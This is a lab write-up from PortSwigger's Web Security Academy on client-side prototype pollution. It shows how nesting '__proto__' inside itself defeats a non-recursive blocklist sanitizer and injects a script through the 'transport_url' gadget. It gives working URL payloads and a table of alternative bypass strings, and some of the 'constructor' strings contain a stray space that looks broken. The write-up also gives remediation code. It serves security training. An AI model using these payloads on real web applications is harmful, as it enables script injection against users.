PortSwigger — 2026.01.09

Client-Side Prototype Pollution via Flawed Sanitization

PortSwigger Prototype Pollution to DOM XSS (sanitizer bypass) medium

Overview

Lab: Client-side prototype pollution via flawed sanitization Platform: PortSwigger Web Security Academy Vulnerability: Prototype Pollution with Sanitization Bypass -> DOM XSS Difficulty: Practitioner


Vulnerability Analysis

The Sanitization Attempt

function sanitizeKey(key) {
    let badProperties = ['constructor','__proto__','prototype'];
    for(let badProperty of badProperties) {
        key = key.replaceAll(badProperty, '');
    }
    return key;
}

The sanitizer:

  1. Maintains a blocklist of dangerous properties
  2. Iterates through each bad property sequentially
  3. Uses replaceAll() to remove all occurrences
  4. Returns the “sanitized” key

The Flaw

The sanitization is sequential and non-recursive. After removing a bad word, it doesn’t re-check if the result contains a bad word.

This allows nested payloads where removing the inner bad word creates the outer bad word.

The Gadget

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
}

Same as previous labs - transport_url is not an own property, so prototype pollution can supply it.


The Bypass

Constructing the Nested Payload

Target: __proto__ Split it: __pro + to__ Insert __proto__ in the middle: __pro + __proto__ + to__ = __pro__proto__to__

Tracing the Sanitization

Input: __pro__proto__to__

  1. Remove constructor: No match -> __pro__proto__to__
  2. Remove __proto__: Found at position 5 -> __pro + to__ = __proto__
  3. Remove prototype: No match -> __proto__

Result: __proto__


Solution

Payload

?__pro__proto__to__[transport_url]=data:,alert(document.domain)

Attack Flow

  1. URL parameter key: __pro__proto__to__[transport_url]
  2. Sanitizer processes key, removes middle __proto__
  3. Resulting key: __proto__[transport_url]
  4. Deparam sets Object.prototype.transport_url = "data:,alert(document.domain)"
  5. config.transport_url inherits from polluted prototype
  6. Script injection executes

Alternative Bypass Patterns

Other nested constructions that would work:

Target Nested Payload After Sanitization
__proto__ __pro__proto__to__ __proto__
constructor conconstructor structor constructor
prototype protoprototypetype prototype

For constructor.prototype access:

?conconstructor structor[protoprototypetype][transport_url]=data:,alert()

For comprehensive bypass techniques, see: Sanitization Bypass Techniques


Key Takeaways

  1. Sequential sanitization is flawed: Processing bad words one at a time allows nested bypasses
  2. Non-recursive removal is vulnerable: After removing a pattern, the result should be re-checked
  3. Blocklist approaches are fragile: There are many ways to represent the same property access
  4. Defense in depth matters: Sanitization alone isn’t enough; also initialize expected properties

Remediation

  1. Recursive sanitization - Keep removing until no bad properties remain:
    function sanitizeKey(key) {
     let badProperties = ['constructor','__proto__','prototype'];
     let previousKey;
     do {
         previousKey = key;
         for (let badProperty of badProperties) {
             key = key.replaceAll(badProperty, '');
         }
     } while (key !== previousKey);
     return key;
    }
    
  2. Allowlist instead of blocklist - Only permit known-safe characters:
    function sanitizeKey(key) {
     return key.replace(/[^a-zA-Z0-9_]/g, '');
    }
    
  3. Use Object.create(null) - Objects without prototype inheritance
  4. Check hasOwnProperty - Before accessing potentially polluted properties
  5. Initialize all expected properties - Prevent prototype lookup
#prototype-pollution #dom-xss #sanitization-bypass #portswigger #webapp